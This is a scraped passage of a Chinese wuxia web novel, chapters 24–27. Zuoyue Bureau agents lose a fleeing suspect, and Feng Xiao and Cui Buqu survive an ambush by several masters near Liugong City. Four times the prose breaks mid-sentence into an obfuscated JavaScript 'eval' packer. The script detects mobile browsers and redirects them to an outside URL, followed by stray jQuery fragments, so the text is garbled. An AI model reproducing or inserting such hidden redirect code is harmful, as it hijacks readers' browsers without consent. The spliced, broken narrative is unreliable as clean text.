长孙在后面摇摇头,只得也紧随其后。 二人悄无声息落在屋顶上,乔仙弯腰正欲揭起一块瓦片,手却被长孙按住。 后者指指天上明月,乔仙恍然,立时停下动作。 今夜月明星稀,如果屋内没点烛火,黑暗一片,头顶一点月光漏下,普通人也就罢了,武功高手马上就会被惊动。 虽然乔仙并不觉得屋里有人,但自然小心为妙。 长孙菩提四下张望,跳下屋顶,在外面走了一圈,忽然又跃上来,乔仙不知他想做什么,就见对方弯腰往外跃起,一个倒挂金钩,双脚直接倒挂在屋顶上,半点没弄出声响。 乔仙下去一看,才发现下面正好有一扇窗户破了个口子,旁边又有根柱子在,可以遮挡长孙身形的同时,又让他得以看清屋内的景象。 有人吗? 乔仙隐藏在树下,向他打着手势。 长孙无声观察片刻,居然给了她一个出乎意料的答案:有人。 乔仙凛然。 一墙之隔,对方能让他们在外头察觉不出自己的存在,说明必定是个善于敛声屏气的内家高手。 不好对付。 难道对方已经察觉他们的到来,早有准备? 就在这时,屋后传来一声响动。 极细微,却瞒不过乔仙他们的耳朵。 自然也瞒不过屋内的人。 “来都来了,还鬼鬼祟祟作甚?” 屋内女子轻哼,虽则不掩愠怒,尾音却依旧娇俏妩媚,令人不由遐想对方面容。 乔仙与长孙对望一眼,不约而同将身形又往黑暗处隐藏,都决定让那露馅的第三人来背锅。 “出来!”屋内女子等不到回音,又娇喝一声,语气冷凝顿如利箭。 屋后微有响动,一道黑影跃出,砰然破窗而入,与屋内女子交起手。 乔仙竖起耳朵仔细聆听,距离有些远,她只能隐约听出屋内女子用的是鞭子一类的武器,另外一人则是剑,剑器铮然作响,饱含杀气,招招欲置女子于死地,女子虽然一时半会占不了上风,却每每能化险为夷。 不过这种情况应该持续不了多久,如无意外,女子耐性耗尽,功力减损之际,就是对方趁虚而入,一招毙命之时。 乔仙和长孙当然不能让那位妙娘子死,毕竟他们还要从对方身上问出案子的线索,当下二人不再犹豫,几乎同时出手,冲向屋内。 此时女子跟蒙面黑衣人正是生死搏斗之际,乔仙这才发现前者手里拿的不是鞭子,而是自己的腰带,白色腰带也不知是什么料子所制,柔软之中又十足坚韧,竟连剑气也割不破,那黑衣人练的是杀人手法,招招都将自己空门大开,不顾生死只为取对方性命,若非得了兵器之利,那女子眼下恐怕已经招架不住。 在乔仙与长孙冲进来之际,女子面色微微一变,只当又来了两个敌人,心神出现空隙,当即就被黑衣人一剑迫至眉间,乔仙与长孙自然不会袖手,长孙捏住一颗佛珠弹向黑衣人太阳穴,乔仙则抽剑斩向黑衣人手腕。 谁知对方居然不顾自己姓名之危,攻势一往无前,一心只为杀死妙娘子。 当此千钧一发之时,妙娘子往后折腰,足尖抬起,以一个几乎不可能的姿势从原地旋开,生生避开半寸要害,令黑衣人的剑从她鬓间划过。 剑气所到之处,青丝落纷纷,妙娘子只觉头皮刺痛,伸手一摸,不由面露骇然。 因为方才那一剑,将她鬓间那一片头发都削断了不说,竟连头皮也都被刺伤流血了,如果刚才她仗着有两个人帮自己,就没有奋力一搏,估计现在连尸体都凉了。 黑衣人一击不成,看见在场又多了两人阻拦,不由眼露愤恨,一招更比一招凌厉,长孙的佛珠一颗接一颗弹出,不偏不倚正好落在对方剑气的空隙,让对方进退不得,更近不了妙娘子的身。 乔仙生怕妙娘子借机跑了,独留长孙对付黑衣人,自己则抓向妙娘子,想要将她擒住。 此时妙娘子开口说了句话,语气颇为严厉。 但乔仙听不懂,动作便没有停下。 妙娘子面露诧异,转眼又换作汉话:“你们是何人!” 乔仙:“能让你脱险的人,若不想死,就跟我们回去。” 妙娘子哼笑:“想让我死的人很多,可我依旧活到现在!” 说话间,长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728853|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙不想再与对方磨下去,直接伸手摸出一截短杵,手腕一动,一寸大小的短杵随即伸至两尺多长,朝黑衣人当胸刺去,黑衣人想也不想横剑在前,谁知长孙这一刺,蕴含深厚内力,势不可挡,他的剑非但没能拦住,反倒断为两截,身体随之受到重击。 长孙菩提本想抓个活口,看是哪一方的人想要取这妙娘子的性命,谁知蒙面杀手见今夜任务失败,不等长孙阻拦,直接咬破口中毒|药,当即倒毙身亡。 乔仙对妙娘子道:“此人身手如何,你也看见了,云海十三楼,绝不止这一个高手,没了这个,还会有第二个,但我们能保全你的性命。” 妙娘子美目闪烁:“你们是谁?我凭什么相信?” 乔仙:“就凭这个。” 她从袖中摸出一块令牌,妙娘子仔细一看,发现上面写了四个字,开皇左月。 令牌似金非金,一看即为贵重之物。 乔仙:“我等乃大隋天子治下左月局一员,位同六部官员,不管你身处何等险境,只要入了左月局,总能保你平安无事。” 妙娘子狐疑道:“我只听说当今天子命解剑府中人前来查案,左月局倒是闻所未闻” 乔仙:“解剑府乃天子所设,左月局乃天后所设,如今朝中二圣并立,这你总该听过吧?” 妙娘子见她耐心说服自己,知道对方不是嗜杀之人,一下子放松下来,手指绕着头发,轻松笑道:“但我得罪之人,是你们惹都惹不起的。” 乔仙:“左月局正使位同刑部尚书,如今他也在这六工城内,你若肯配合我们,找到天池玉胆的下落,就算你杀了于阗使者,我们正使也能保你性命无忧,从此远走高飞。照我看,你选择相信我们,总好过继续被追杀,朝不保夕。” 妙娘子眨了眨眼,她那半边头皮的血虽然已经止住,但伤口看上去依旧狰狞,只是人实在生得美貌,竟能让人忽略这样的瑕疵,并不觉得违和。 “如此说来,你们已经知道我与尉迟的关系了?” 尉迟?尉迟金乌?那个已经死了的于阗使者? 乔仙跟长孙菩提对视一眼,两人的思路飞速运转起来,面上却仍不动声色。 “不错,我们早已查到了。” 妙娘子:“那好吧,我告诉你们便是,杀害于阗使者的凶手,其实跟抢走玉胆的,是同一个人,他现在就在本城。” 乔仙:“他姓甚名谁,现在何处?” 妙娘子:“他叫——” 话音未落,变故陡生! 25. 第 25 章 因她张口欲说,乔仙与长孙自然走近一些,但妙娘子却忽然抬起双袖,两道细小袖箭从袖中射出,箭头乌黑泛蓝,无疑淬了剧毒。 两人大吃一惊,闪身躲避,长孙反应极快,手中一粒佛珠弹出,意图阻住妙娘子片刻,但后者的速度却比他想象得还要快,身形倏然一飘,就从原地消失,眨眼工夫已经落在几尺之外。 “拦住她!”乔仙大急。 无须她说,长孙菩提也已提气纵身追过去,他一掌拍出,几乎用尽全力,妙娘子正背对着他往前掠去,后背空门大开,毫不设防,被长孙这蕴含了十成功力的掌风一刮,居然没有倒地,仅仅只是晃了晃,便又往前掠走。 长孙一击不成,再要提气去追,已然失了先机,对方很快就失去身影。 “怎么回事!”乔仙很快赶过来。 这一切发生不过须臾之间,两人根本没料到本已到手煮熟的鸭子居然还会飞掉。 “她刚才隐瞒了实力。”长孙沉声道,在对方生生受住他一掌时,他就已经想到了原因。 “不可能!”乔仙想也不想道,“若果如此,她为何打不过刺客?” “原因有二,一者她知道我们在,想试探我们是哪一方人马,知道我们是来救她的,更加有恃无恐,二者我们可以谈条件,说明并非滥杀之人,她更有余力打我们一个措手不及。” 长孙难得话多,但乔仙宁愿他寡言,起码不至于眼睁睁看着一条重要线索跑掉。 这妙娘子一跑,再想找到,就难上加难了。 “现在只能先请示尊使了。”乔仙道。 长孙沉默不语,因为他也没有更好的法子了。 他道:“她方才受我一掌,虽然逃脱,必然也受了重伤。” 乔仙会意:“即便想要乔装蒙混出城,恐怕也不容易,但想要调动城卫捕役搜查,势必得亮明身份,惊动解剑府的人,影响到尊使的布局。” 长孙菩提却道:“不会。” 乔仙蹙眉:“为何?” 长孙菩提:“我听说,沙钵略座下第一高手佛耳,也到了,想必是冲着尊使去的。” 他们自然还不知道,就在今晚,刚刚,佛耳才与凤霄交过一次手。 乔仙一凛:“那我们得去保护尊使!” 长孙菩提:“不必,有解剑府在,尊使应该无碍,但佛耳来到,阿波那边的人应该也到了。正事要紧,我们无暇再去给解剑府搅局添乱了。” 乔仙沉吟道:“你的意思是——” 解剑府与左月局向来各司其职,这次同样也是,崔不去带着左月局中人来到六工城,自然不是为了专门来给解剑府添堵拖后腿,而是另有要事,只不过听说于阗使者被杀,天池玉胆失窃之后,崔不去才改变了主意,决定顺道绊一绊凤霄查案的脚步,若能因此让左月局更快找到玉胆,那自然又平添一桩功劳。 但是现在,佛耳的出现,表明情况有了变化,正事当先,玉胆的事情可以放一放,妙娘子虽然跑了,但这也是一条线索,与其让解剑府的人无头苍蝇似地乱转,崔不去肯定会选择拿来交换条件,有限度地与凤霄合作。 长孙菩提言下之意,以崔不去的精明,左月局必定不会吃亏。 乔仙点点头:“那我这就去让人给尊使递话。” 长孙菩提抬起头,正好看见一丝乌云飘来,遮住明亮的圆月。 他们头顶一下子暗了不少。 二人早有默契,无须多余废话,便分道扬镳,各自往相反方向离去。 …… 这世上能伤到凤霄的人不多,崔不去作为一个完全不会武功,也未必有缚鸡之力的普通人,竟然完成了这样一个高难度的任务,裴惊蛰表示大开眼界。 凤霄可以不管崔不去肚子饿不饿,但他无法忍受自己带着一身秽物去查案,于是最终只能裴惊蛰先行一步,去卢家查探,他自己则带着崔不去回秋山别院更衣。 这一路上,凤霄脚程如飞,几乎是用上了毕生功力在往回处赶,估计刚才跟佛耳交手都没这么拼过。 打更的只觉迎面黑影扑来,还未看清楚,狂风已经擦过面颊,扬长而去,弄得他大惊失色,以为夜路走多见鬼了。 崔不去也没好受到哪里去,他方才被玉秀和尚挟持,先麻了半边肩膀,现在被拽住另一边胳膊狂奔赶路,另外的一半肩膀也快没了知觉。 但比起这样的处境,能够恶心到凤霄,崔不去仍旧觉得是值得的。 “崔道长好似很得意啊?”凤霄皮笑肉不笑的声音传来。 崔不去敛了唇边微微上扬的弧度:“我只是为凤府主高兴,案子又添新线索,说不定很快就能水落石出,真相大白了。” 凤霄微哼一声,懒得再搭理他。 但崔不去听出这一声哼里,有好几个意思。 一是等我换完衣服再跟你算账。 二是你现在落我手里,还敢蹦跶,简直吃饱了撑的。 三是我必要整得你死去活来,哭爹喊娘,后悔到人间来走一趟。 可那又如何? 崔不去微微挑眉,表示无所畏惧。 到了秋山别院,凤霄将他一扔,也顾不上多说,就匆匆去沐浴更衣了。 崔不去身无武功,拖着一具残躯,想跑都跑不远,更何况别院里还有解剑府鹰骑在,凤霄完全不担心他会不自量力到逃跑——崔不去当然不会跑,他回到自己房间,也洗漱了一番,又问侍女要了几样点心。 眼下灶台早已熄火,重新烧饭得费不少工夫,但点心是现成的,侍女手脚麻利,很快就端过来,顺带告诉了他一个消息。 “您给的那条线索,乔娘子他们把人给追丢了,让我请示您下一步要怎么做。” 这名侍女叫棠梨,名字是入了别院之后才被管家改的,原先叫桃娘,配上寻常的面目,毫无让人记忆之处。 在京中下令让凤霄过来护送于阗使者之后,崔不去就猜到赵县令必然会将这座私家别院拿出来招待凤霄,棠梨也就顺理成章因为家中贫寒被卖入府。 她原本不是服侍崔不去的,只因照顾崔不去的那个侍女昨日偶发腹痛,上吐下泻至今卧病不起,管家生怕耽误事,这才临时调了安分守己的棠梨过来。 至于她是本来就安分守己,还是特意让管家看到自己的安分守己,那已经不重要了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728854|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤霄跟裴惊蛰忙着查案,几乎不会留意到这样人事变动的小细节,于是棠梨顺利为崔不去送来了乔仙他们这两天得到的消息。 崔不去面露沉思,苍冷月光映在他侧面,竟有些近似透明的剔透感。 棠梨只看了一眼,就低下头。 这座别院的客人虽然容貌风采举世无双,但比起百鸟朝凤的华丽璀璨,她反倒觉得崔尊使这样的人看起来更悦目舒适。 只是脸色未免也过于难看了些。 “您是不是受伤了,属下去拿些药来?”棠梨问道。 崔不去:“你懂推拿吗?我两边肩膀都有些脱力。” 棠梨:“属下试试。” 她走到崔不去身后,试着按压对方穴道,便听见对方轻轻嘶了一声。 “您这应该是筋肉拉伤了,于骨头无碍,属下给您推的时候会有些痛。” “只管施为便是,忍痛我素来在行。”崔不去自嘲道,语气轻松。 棠梨见状不再犹豫,开始伸手为崔不去按捏肩膀,一边继续向他汇报。 当她说到妙娘子跟乔仙他们说了一句奇怪的话之后,发现乔仙长孙听不懂,又马上换成汉话时,崔不去喊停。 “那句话怎么说,她教你没有?” “教了。”棠梨点点头,能入左月局的人都不一般,能被派到这里来的人更不一般,她当下就将妙娘子那句话给模仿一遍,虽然中间隔了个乔仙,但居然还有八|九分相似。 崔不去陡然坐直身体,就连棠梨失手加重力道带来的疼痛也顾不上了。 “尊使?” “这是高句丽话。”崔不去道,“那个秦妙语,是高句丽人,而且天池玉胆,肯定就在她身上。” 为何会如此认为? 棠梨很疑惑,但她没有问下去,因为崔不去的推测总是有原因的,而不该她过问的事情,她从来不会主动去问。 果然崔不去没有继续说话,那头凤霄已经沐浴更衣完毕派人过来催促了,崔不去吃了几块点心,肩膀也被按得松快不少,当下便起身朝凤霄那边而去。 凤霄的脸色并没有因为换一身衣服就变好。 他手里拿着一封信笺和一块令牌,信上寥寥几句,只道裴惊蛰已被劫持,让凤霄亲往城外胡杨林要人,令牌则是解剑府的令牌,裴惊蛰素来随身携带,如今令牌丢失,证明对方并非空口白话。 很明显,项庄舞剑意在沛公,对方的目的并非裴惊蛰,而是凤霄,更有可能是天池玉胆。 “真是成事不足,败事有余!”凤霄忍不住骂了一声。 “佛耳?”崔不去揣测道。 “也许。”他手指一揉,那封信立时化为齑粉,随风四散。 崔不去:“你打算去?” 凤霄:“不然呢?” 崔不去讶异:“凤府主不像这么重情重义的人啊,居然会在乎一名属下的性命!” 凤霄:“他父亲曾救过我。” 崔不去摇摇头:“那也不像你的为人。” 凤霄:“那在你看来,我应该怎样做?” 崔不去:“回信一封,爱杀就杀。” 26. 第 26 章 凤霄自然不会回信一封,裴惊蛰虽然办事不力,但总归是解剑府的人,轮不到外人来处置,所以凤霄让手下几名鹰骑在卢宅四周监视,不让他们走漏一人,自己则带着崔不去前往郊外胡杨林。 崔不去莫名其妙:“你去救裴惊蛰,带上我作甚?” 凤霄悠然道:“他们有人质在手,有恃无恐,那等情形下,我必是五内俱焚,手足无措,有足智多谋的崔道长在,说不定还能帮我出出主意。” 崔不去看他那波澜不惊的模样,怎么也看不出一丁点手足无措来。 果不其然,对方下一句就是:“万一遇到什么危险,有你在,我也安心一点。” 崔不去冷冷揭穿道:“是想拉我挡刀吧?” 凤霄:“聪明。” 他脚程如风,轻功已至行云流水之境,为免崔不去拖累,凤霄索性扶上对方腰间,直接将人带着走。 崔不去只觉自己双脚几乎悬空,根本没费什么力气,人就已经到了目的地。 月亮从乌云后面出来,重新给人间带来光亮,胡杨林经过月光装点,摇曳枝叶蒙上朦胧银辉,呈现出白天所没有的祥和宁静。 但这样的宁静只是假象,崔不去也许没有察觉,凤霄却已从中嗅出一丝不寻常的气息。 他停住脚步。 “既然约我来此,为何又藏头露尾?” 地上的草丛算不上茂密,也稀稀疏疏在沙地上生了一些,但崔不去根本没有听见对方走出来的动静,就已看见一人出现在不远处树下。 那个高句丽高手,高宁。 高宁虽然冠着高句丽国姓,放在中原也算一流高手,但高宁的衣着却极为质朴,几乎到了寒酸的地步。 一身灰衣千里奔波,越发风尘仆仆,但他不以为意,自打出现,目光就一直盯住凤霄,看也不看旁边的崔不去一眼。 这自然不是因为凤霄生得好看,将他迷住了,而是因为他将凤霄视为生平大敌,一心想要打败他。 凤霄:“你们抓来的人呢?” 高宁言简意赅:“没有。” 他的汉话并不流利,语气也很生硬,比这冷夜的风还要刮人。 凤霄哂笑一声:“我就觉得裴惊蛰不至于这么蠢,被你拿了令牌还跑不掉,说吧,你的同伙还有谁?堂堂高句丽第一高手,只会这等偷鸡摸狗之手段,看来高句丽人也尽是些鸡鸣狗盗,鬼祟猥琐之辈!” 高宁面露愠怒,手随即按在剑上,旁边却传来一人说话。 “激将之法,不必理会。” 又有一人自石头后面步出,对方刚才收敛气息,一动不动,竟连凤霄都未察觉他在那里。 能有这等身手境界,又正好在六工城内,与凤霄敌对的,不作第二人想。 “这不是去而复返的突厥第一高手吗?是不是有什么东西落下了,我让人帮你找找?”凤霄故作惊奇地嘲讽。 佛耳道:“你今夜与我交手时不专心,我希望重新与你打一场。” 崔不去道:“我还是头一回看到有人把围殴说得这么清新脱俗,你们不是中原人,想必也不知厚颜无耻恬不知耻自甘下贱无耻之尤阴险狡诈这几个字怎么写吧?” 他语气淡淡,偏又一口气不歇将话讲完,越发富有讽刺意味。 从佛耳与高宁一阵青一阵白的脸色来看,他们应该还是能听懂一些的。 凤霄愉悦道:“去去,我从未像现在这样觉得你可爱可亲。” 崔不去:“凤郎君别自作多情,您还是叫我崔道长吧,别喊得我心里发瘆。” “中原人,哼!”高宁冷笑一声,打断他们“只会逞口舌之快!” 他说罢一剑当先,掠向凤霄。 其剑光冷厉疾速,犹如虹光贯日,比方才挟持裴惊蛰时还要快上几分。 与此同时,佛耳也从另外一边出手,两人一左一右攻向凤霄,看样子今夜势必要将他毙于掌下。 凤霄夷然不惧,一动未动,直到二人近在咫尺,他才脚下轻轻一踏,人直接平地而起,避开二人合力一击。 古琴自他手中卷起抛出,人已折身俯冲下落,掌风配合琴音袭向二人,在佛耳与高宁的围攻下,竟还游刃有余,并未落于下风。 崔不去虽然跟凤霄不对付,但此时此刻,他们反而成了一条船上的人,凤霄如果落败,他当然也讨不到好。 佛耳跟高宁两大高手联合起来固然厉害,但凤霄也不是吃素的,三人一时半会还决不出胜负,甚至只要凤霄能够拿准时机,未必不能将他们击败。 是以崔不去看了一会儿,就放松下来,他朝不远处的大石头走去,准备坐下来慢慢观战。 但就在这时,他忽然感觉后颈汗毛陡然竖起,似有人照着他后颈吹气! 实际上并不真是有人在吹气,仅仅是人在感知危险时身体作出的一种反应,崔不去不会武功,但也许是常年生病的缘故,身体被各种药物浸染,五感反倒拥有更高的敏锐度,当下便寒毛直竖,想也不想往前扑倒。 就在他扑下去的那一刻,头顶几道细微声响掠过,下一刻,崔不去发现自己面前不远处多了几枚长针,整整齐齐倒插草丛旁边的沙地上。 毫无疑问,这些针必然都浸过毒了。 崔不去只觉自己这一下扑得狠了,膝盖生疼,完全没有起来再跑的力气,而致命威胁转眼已经到了后脑勺,他只得就近往旁边翻滚,姿势狼狈,可胜在能保命。 他翻过身时,便看见两名黑衣人一前一后,分别朝自己掠来,手中剑光寒芒毕露,自己也许侥幸躲过一次,却绝对躲不开第二次。 跟那花枝招展的夹竹桃精在一起果然就没半点好事! 崔不去千算万算,也没想到自己既不是被仇家杀死,也不是生病病死,而是被凤霄连累死,当下因为千钧一发,来不及张口开骂,但在他心里早已千回百转,将凤霄的祖宗往上几十代连夏商周三皇五帝时期的都问候一遍。 面上却闭了眼,一片认命的淡漠。 也不知是不是他在心里的疯狂开骂起了作用,那两道剑风迟迟没落在身上,身体也没有传来意料之中的疼痛,耳边却传来交手的动静,崔不去睁开眼,只见凤霄居然及时赶来,拦下了两人想要杀害自己的动作。 这下子,敌人多了两个,立马变成以一敌四。 凤霄连调侃崔不去的工夫都没有,可见已经开始觉得吃力了。 一脱离危险,崔不去就道:“这两个人是云海十三楼的杀手,他们手上还有毒针!” 云海十三楼的人在今夜出现过,那时候对方被黄衣女子冰弦喝破身份,又见无机可乘,转身就离开了,没想到居然会在这里跟佛耳他们联起手来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728855|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 凤霄:“我怎么不知道云海十三楼现在除了做杀人生意,还开始抢劫了?” 两个黑衣人自然不会回答他,一心一意朝凤霄出手,看也不看刚刚逃过一劫的崔不去,可见他们的目标,自始至终都是凤霄。 夜深风起,沙尘渐大,此处又是高地,几个人身形飘忽,从东打到西,不知不觉就到了高地边缘,再往下,虽然不算万丈深渊,但同样陡峭险峻,普通人摔下去也会夺命。 一口风沙灌入口鼻,崔不去差点咳嗽出声,却生生忍住,他知道高手过招不容半点闪失,如果凤霄因为分神而落败,那等待自己的处境必然也会是很糟糕。 他慢慢挪动,退至旁人留意不到的死角,借着高大石头隐藏身形,再加上风沙狂啸之故,几人忙着围攻凤霄,倒也没有留意到崔不去不见了。 其实早在这两个云海十三楼的人加入时,局面就已经出现了倾斜,四个一流高手同时出手,就算凤霄是天下第一,也未必能全身而退,而且这四人,两个不是中原人,两个是杀手,全然不必有那些武德道义的包袱,以多打少毫无挂碍,明的暗的一起来,光暗器就出了好几波,凤霄肩膀与腹部各中了两枚,出手逐渐迟滞,佛耳看准时机,一掌将他拍落高坡,高宁则将他的琴踢飞,落至另外一个方向。 凤霄从高坡上落下,很快失去踪影,云海十三楼的杀手除人务尽,想也不想就跟着跳下去,此时狂沙飞舞,又夹杂雨雪,饶是武功高手也有点经受不住,高宁和佛耳原本素不相识,为了对付凤霄,才临时结盟,这会儿对手一除,他们又互相防备起来,再看天气恶劣,也不像杀手那么拼命,当即就转身离去,一东一西,很快没入风雪之中。 崔不去等了好一会儿,感觉那两个人应该走远了,这才慢慢挪到高坡边上往下探看。 他眼力不错,只是再不错,在这茫茫夜色中也看得有限。 想来凤霄就算跌下去侥幸不死,被那两个杀手再补上一剑,也得一命归西。 崔不去在心里啧啧两声,既有点惋惜那样一副绝世容貌从此化为枯骨,又庆幸凤霄一去,解剑府必然要萎靡一阵,正是左月局崛起的机会。 思忖之际,耳边忽而传来一个极细微的声音。 “拉我上去。” 崔不去蓦地循声往旁边望去,又伸出手朝下方摸索。 摸了几下,果然摸到一只手! 那只手随即将他狠狠拽住,差点没把崔不去整个身体也拖下去,后者好险才阻住下滑的趋势。 “拉我,上去!” 凤霄的声音很微弱,听得出不仅是怕人听见,也是因为受了不轻的伤。 “你命真大!”崔不去不由感叹道。 凤霄哼笑:“似我这等容貌风采天下无双之人,自有上天庇佑,怎是那等宵小之徒伤得了的?” 崔不去:“但你现在需要我救你。” 凤霄:“回去我就放你自由,任你来去。” 崔不去心道,老子想走,也由不得你拘着。 “这不算什么,你答应我办一件事,我就拉你上去。” 凤霄不耐烦:“我什么都答应,你先拉我上去!” 他还得压着声音,以免被云海十三楼的人听见。 崔不去:“叫三声爹,我就拉你。” 凤霄:…… 27. 第 27 章 面子重要还是性命重要,有人也许会死要面子活受罪,但那绝不是凤霄的作风,所以他毫不犹豫就选择了后者。 凤霄:“爹……” 声音很小,有气无力,经由风雪传送入耳,乍一听像是在呻|吟。 崔不去:“我听不清。” 凤霄:“你先把我拉上去,我没力气了。” 崔不去冷笑:“你没力气能说那么多个字,连声爹都喊不出来?” 托方才棠梨帮他揉按肩膀的福,崔不去两条胳膊恢复了些许力气,凤霄自己在下头应该也踩住了石头,否则以他晚上差点被卸了胳膊的遭遇,可能还真拉不住人。 凤霄:“爹~~~~~爹~~~~” 这一声爹爹,前一个抬调,后一个降调,非是在风雪交加的嘈杂中喊出九曲回肠的效果,似乎饱含无限委屈。 如果是个纤纤弱质的女子这么喊,可能会令人心生怜意,但凤霄捏着嗓子这么喊,只会让崔不去一身寒毛竖起,差点脱力让人摔下去。 孰料就在此时,凤霄抓住他的手忽然用力下坠,崔不去猝不及防,整个人被往下拖,正好一阵大风刮来,沙子迷了眼,他甚至来不及抓牢上面的石头,就完全被凤霄拖了下去。 这世上有许多智慧也预料不到的局面,比如说刚刚那一刻,他就没想到凤霄会坚持不住。 凤霄武功在身,摔下去未必会气绝,但那样的高度对崔不去这种普通人来说无疑是致命的,在被拖下去的刹那间,崔不去已经对自己的下场几乎认命了。 但他很快发现,凤霄其实并不是在往下坠落,而是很快站稳脚跟,并且将他拽进了一处内凹的洞穴内。 两人气息未匀,在黑暗中大眼瞪小眼,外面风雪交加,夜月早已被遮蔽得不留半点光亮。 伴随着外面的风声,崔不去喘息道:“原来你……” 刚说了三个字,嘴就被捂住,对方的身体随即压过来,将他压在洞穴角落动弹不得。 此处洞穴在半坡处,看样子像是经久风化而成,内里空间狭小,两个人挤在一起就更显逼仄。 但崔不去知道凤霄此时做出这种毫无意义的举动,肯定不是为了捉弄他,是以一动不动,也没有挣扎。 果不其然,过了片刻,风雪渐停,一道黑影自外面掠过。 崔不去眼尖,认出那应该是刚才下去找凤霄的杀手之一。 以凤霄现在的状况,以一敌二必然胜算不大,如果他们还想刚才一样悬挂在上面,估计也早就被发现了。 身影忽然顿住,双脚倒挂在外面凸起的石块,悬下来往里张望。 小洞狭窄漆黑,根本看不见里面有什么东西。 无须凤霄说,崔不去早已屏息凝神,只差没将心跳也放缓。 那人犹豫了一下,似乎在考虑要不要继续朝里摸索搜查,崔不去就感觉凤霄的身体微微一动,他只听得刷的一下,头顶似乎有什么东西炸开,登时噼里啪啦往外扑腾。 搜寻者更是被吓了一大跳,断断没想到一大群蝙蝠会从里面扑出来,拍出一掌却引来更多乌压压的蝙蝠朝他迎面飞来,脸上猝不及防就被抓了几道,再也维持不了平衡,直接滚落下去。 崔不去没料到小洞里还藏了这么些冬眠的蝙蝠,一大群蝙蝠从头顶落下又扑腾出去的瞬间,他的感觉并没有比面对死亡威胁好多少,更不要说凤霄这种爱洁之人,晚上出来前的沐浴更衣算是白洗了,回去之后这人估计还得搓掉一层皮,想想就令人感到愉悦,连带身处险境,似乎也不那么难过了。 凤霄终于把手从他脸上挪开。 还没等崔不去松一口气,就听见对方道:“还有一个。” 话音方落,一道影子从外面飞入,迅猛已极,剑光凛冽,直指凤霄而去! 凤霄的琴早已不知去向,他扬袖而起,一掌拍出,正面迎向对方,就在剑尖几乎刺中肩膀之时,他稍稍侧身,任凭剑从肩膀划开衣服皮肉,掌风正中对方脖颈。 崔不去听见啪的一下,仿佛颈骨折断的动静,那人就已经飞了出去。 “走?”崔不去道。 现在自然是逃命回去的最好时机,高宁跟佛耳早就走远了,回来的可能性不大,两个云海十三楼的杀手,一个被凤霄打死,还有一个摔下山坡半死不活,能活着估计也得昏迷一阵。 “我走不动了。”凤霄恹恹道。 崔不去:“这个山洞离上面不高,我可以上去,再回去帮你报信。” 凤霄哦了一声:“那你去吧。” 崔不去嘴角抽搐:“……你松开我。” 对方还死死攥着他的手腕。 凤霄无辜道:“我很想松开啊,但我的手不听话,我也没办法。” 此人明显是担心崔不去这一去,就干脆不回来了,裴惊蛰就算能找到这里来,起码也得天亮之后的事,这一夜还很漫长,足够发生许多变故。 崔不去道:“我们可以合作。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728856|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>凤霄:“你说。” 崔不去:“你现在查的案子,我知道一条线索,对你们破案有所帮助,我可以把线索告诉你。” 凤霄:“那你为什么不早说?” 崔不去:“我也是刚刚才得知。” 凤霄:“你果然背着我跟别人暗通款曲,私相授受。” 崔不去不为所动:“你到底想不想知道?” 凤霄知道一时半会是没法离开这里了,索性忘记此处的环境,破罐破摔,彻底放松身体,往后靠在岩石上休息,只是依旧不肯松开崔不去的手:“我凭什么相信你?” 崔不去:“你不是早就猜到我的身份了?” 凤霄挑高了语调:“哦?崔道长终于肯承认了?” 崔不去:“不错,左月局与解剑府,虽然向来没什么瓜葛,不过既然同为朝廷中人,眼下又都在六工城,我们就是同一条船上的人,纵然你对我诸多不满,也得先把外敌对付了,再谈其它。” 凤霄:“你因何而来?天池玉胆?” 崔不去沉默片刻:“不是,我两个月前就已经在六工城,那时怎会预料玉胆会失窃?左月局另有要事。” 凤霄喟叹:“事到如今,去去你还不肯坦诚相见,实在让我很难相信啊!” 